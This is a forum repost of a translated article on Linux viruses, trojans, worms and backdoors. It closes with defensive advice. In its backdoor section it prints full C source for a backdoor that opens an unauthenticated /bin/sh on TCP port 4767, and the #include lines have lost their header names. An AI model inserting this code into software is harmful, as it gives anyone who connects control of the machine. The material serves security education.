|

楼主 |
发表于 2003-2-23 09:25:13
|
显示全部楼层
病毒并不关心隐藏自身或其操作,除非它是在后台执行而让原始脚本来完成它的常规工作。当然,不要以root身份运行该脚本!特别是如果你用find .替换了find /。这个程序不仅简洁,而且它很容易放任其控制,特别是如果系统包含大量定制的shell脚本。
表1中含有Linux下知名病毒的相关信息。通过在文件头插入其代码并返回原始代码的剩余部分,它们都可感染ELF可执行文件。除非告知,否则它们会在系统目录下查找潜在的目标。从此表中,你可以注意到在Linux下的病毒即使没有太多告警,也见不着其显山露水,主要是因为目前为止病毒都是无害的。
Table 1 - Linux下的病毒 名称 逻辑炸弹 备注
Bliss 表面无活动 如果调用选项--bliss-disinfect-files-please,可自动消除对可执行文件的感染。
Diesel 无
Kagob 无 使用临时文件来执行已感染的原始程序
Satyr 无
Vit4096 无 只感染当前目录的文件。
Winter 无 病毒代码为341字节。只感染当前目录中的文件。
Winux 无 该病毒有两种不同代码,可分别用来感染Windows文件和Elf Linux文件。不过它不能探测除了自身所在分区之外的其它分区,这减少了其传播的机率。
ZipWorm 在其发现的Zip文件中插入一关于Linux和Windows的“诱饵(troll)”文本。(“troll”=瑞典神话中的一种小矮人(译者注:爱恶作剧而态度友好的侏儒))
你会注意到“Winux”病毒既能够在Windows也能在Linux下传播。它是一种无害的病毒,与其说是一种实际危险,不如说是一种可能性的验证。不过,当你想到这样的一个入侵者能够从一个分区跳到另一个分区,使用Samba服务器入侵不同类型的网络等等,你就会对这种设计感到不寒而栗了。要想连根铲除是一件很痛苦的事情,因为需求的工具必须可同时用于两类系统。应予重视的是,如果Linux分区可以由运行于Windows下的病毒访问的话,那么Linux用来阻止在普通用户身份下运行的病毒破坏系统文件的保护机制就形同虚设了。
让我们强调这一点:如果你从最终的多平台病毒驻留的Windows分区重新启动机器,那么你在Linux下所做的每项防范管理都是毫无用处的。对于每台使用双引导启动两个操作系统的机器而言这都是个问题;整体的保护完全依赖于最脆弱的那个系统的安全机制而定!唯一的解决方法是使用加密的文件系统来阻止任何Windows应用程序访问Linux分区。这种病毒尚未广为传播,不过我打赌说攻击未挂载分区的病毒将很快成为Linux机器上重大威胁的代表。
特洛伊木马
特洛伊木马和病毒一样可怕,人们似乎对它更为警惕。与通过病毒传播的逻辑炸弹不同,在特洛伊木马中发现的逻辑炸弹都是人们有意插入的。在自由软件世界中,从一小段代码的作者到最终的用户都会受到一个或两个协调者(比如说项目的负责人和发布版本的筹备人)的约束。如果发现了特洛伊木马,那么很容易抓到“罪犯”。
自由软件因而可以十分有效地防范特洛伊木马。但是我们讨论的自由软件,正如我们今天所知道的,是指那些具备项目管理,善于接纳的开发者和相关web站点的软件。这与共享软件或免费软件大有不同,这些软件都是预编译好的,以一种无政府的方式由上百个web站点发布(或者通过杂志附带的CD发布),其作者只能通过一个很容易伪造的e-mail地址而获悉;这些都使得特洛伊木马可以可靠地生存。
我们应注意到这样一个事实,拥有应用程序的源代码且进行编译并不能作为安全的保证。例如,有害的逻辑炸弹可以隐藏在"configure"脚本中(在运行"./configure; make"时调用),而这样的脚本通常会有大约2000行长!最起码但并非最足够的保证,应用程序的源代码应是干净的并能编译;不过这还是无法阻止Makefile隐藏逻辑炸弹,并在最后运行"make install"时激活自身,而这通常正是以root身份运行的!
最后,病毒和特洛伊木马在Windows下作祟的一个重要部分是涉及文档时的宏执行。在Linux下的工作程序包是不能解析这些宏的,至少目前为止是这样,用户短时间能得到一种言过其实的安全感。到某个时候,这些工具会能够执行包括在文档中的Basic宏。设计者让这些宏在系统上运行命令迟早会被证明是个糟糕的主意。当然,对于病毒,破坏的效应会受到用户特权的限制,但是可靠系统文件(至少安装CD上还有)的事实对于那些刚刚丢失了他的文档、源文件和邮件而备份又是一个月之前的用户来说,不会带来多少安慰。
在结束关于数据中特洛伊木马的这个部分之时,我们应注意到:总是有方法来烦扰用户的,即使不是有害的,即使有些文件还需要解释。在Usenet上,你可以看到,不时地压缩文件会自我繁殖为大量文件直到达到磁盘的饱和。有些Postscript文件也能够阻塞解释程序(ghostscript或gv)而消耗CPU时间周期。这些并没有危害,不过它们让用户用时无法保证而且扰人不浅。
蠕虫
在1988 Internet蠕虫问世之时,还没有Linux存在;Linux本应成为这种攻击的最佳选择,但自由软件源代码的存在使得搜索漏洞变得非常容易(例如,缓冲区溢出)。编写一个“高质量”蠕虫的复杂性减少了那些在Linux下真正活跃的人数。表2介绍了一些蠕虫,它们都是传播甚广的。
蠕虫可以利用网络服务器的漏洞。对于偶尔连接到Internet的工作站而言,理论上风险要小于一直连接的服务器。不过,为家庭用户提供的接入类型(Cable,SDL等等)的发展以及目前网络服务(HTTP服务器,匿名FTP等)的易实现性意味着它很快会成为人人所关注的目标。
表2 - Linux下的蠕虫 名称 攻击的漏洞 备注
Lion (1i0n) bind 在入侵的机器上安装后门程序(TCP port 10008)和root-kit。发送系统信息给一个在中国的email地址。
Ramen lpr, nfs, wu-ftpd 修改它所找到的index.html文件
Adore (Red Worm) bind, lpr, rpc, wu-ftpd 在系统上安装后门程序并发送系统信息到在中国和美国的email地址。安装一个ps的修改版本来隐藏其进程。
Cheese 和Lion类似 该蠕虫是一个正派程序,是用来检查和删除被Lion开放的后门的。
关于蠕虫,我们应注意到它们的传播受到时间的限制。它们只在从一个系统复制到另一系统时是“活着的”,而且因为其依赖于最新发现的漏洞,目标应用程序的迅速升级可以停止它们的传播。在不久的将来,家用系统可能会自动查询相关的web站点(每天)——这需要信任——以在此查找系统应用程序的安全补丁。这对于避免用户全天以系统管理员身份工作并使之能协助执行网络应用程序来说很有必要。
后门程序
后门程序的问题相当严重,即使对于自由软件也是如此。当然,因为有了程序的源代码,理论上你可以检查它做了什么。实际上,很少有人能够读懂从Internet上下载的档案文件内容。例如,下面的小程序提供了一个完整的后门程序,可是其容量小到可以隐藏于一个足够大的应用程序中。该程序引自我的书[BLAESS 00],用于举例说明伪终端的机制。该程序不是很好读,因为它取消了注释以使之更短。绝大多数错误检查也因同样的原因被去除了。当执行时,它在该机器的每个网络接口的程序开头指定的端口(默认为4767)上打开一个TCP/IP服务器。每条请求到此端口的连接会自动访问一个shell而无任何身份鉴别!!!
#define _GNU_SOURCE 500
#include
#include
#include
#include
#include
#include
#include
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse; /* address */
socklen_t longueur; /* length */
int sock2;
int pty_maitre; /* pty_master */
int pty_esclave; /* pty_slave */
char * nom_pty; /* name_pty */
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
/* Son: shell execution in the slave
pseudo-TTY */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, & termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
execv (args [0], args);
exit (1);
}
/* Father: copy of the socket to the master pseudo-TTY
and vice versa */
tcgetattr (pty_maitre, & termios);
cfmakeraw (& termios);
tcsetattr (pty_maitre, TCSANOW, & termios);
while (1) {
FD_ZERO (& set);
FD_SET (sock2, & set);
FD_SET (pty_maitre, & set);
if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
& set, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock2, &set)) {
if ((n = read (sock2, buffer, 4096)) < 0)
break;
write (pty_maitre, buffer, n);
}
if (FD_ISSET (pty_maitre, &set)) {
if ((n = read (pty_maitre, buffer, 4096)) < 0)
break;
write (sock2, buffer, n);
}
}
return (0);
}
插入这样的一段代码到庞大的应用程序(例如sendmail)会隐藏上足够长的时间来进行肮脏的渗透。此外,有些人在隐藏小段代码运行的技巧上是老手,像每年在IOCC(International Obsfucated C Code Contest)竞赛中提交的程序就能作为佐证。
不应认为后门程序仅是理论上的可能。这类困难确的确已经遭遇过,例如在Red-Hat 6.2发布版本中的Piranha程序包就能接收默认密码。Quake 2程序同样也怀疑隐藏了后门程序以允许远程执行命令。
后门程序的机制也可以将其自身隐藏于非常复杂的外表环境中以至于对于绝大多数的人来说是探测不到的。一个典型的例子就是关于加密系统的后门程序。例如,在工作的SE-Linux系统是一个使用了由NSA提供的补丁增强安全的Linux版本。检查了所提供的补丁的Linux开发者说它没有什么值得怀疑,但是谁也不能确信,何况很少有人能有足够的数学知识来发现此种漏洞。
结论
探究这些在Gnu/Linux世界中发现的有害程序使我们得到如下结论:自由软件无法抵御病毒,蠕虫,特洛伊木马或者其它之类的!不要过于草率,必须注意关于当前应用程序的安全警告,特别是当工作站是频繁连接到Internet时。现在形成好的习惯是很重要的:一旦发现漏洞,就立即升级软件;只使用所需求的网络服务;从可信任的web站点下载应用程序;对于下载的包尽可能经常地检查PGP或者MD5签名。最“严肃的”人会使对于安装应用程序的控制自动化,例如使用脚本。
第二条应注意的:未来Linux系统的两项主要危险一是工作应用程序盲目地解析包含在文档(包括电子邮件)中的宏,二是多平台病毒,它们即使在Windows下执行,也能侵入同一台机器上在Linux分区所找到的可执行文件。如果说第一个问题取决于用户的行为,他们应该不允许工作应用程序接受任何东西,那么第二个问题就是相当难以解决的,即使对于尽职的管理员也是如此。在很近的将来,必须将强大的病毒探测器应用于连接到Internet的Linux工作站;让我们期待这类项目会在自由软件世界中很快出现。 |
|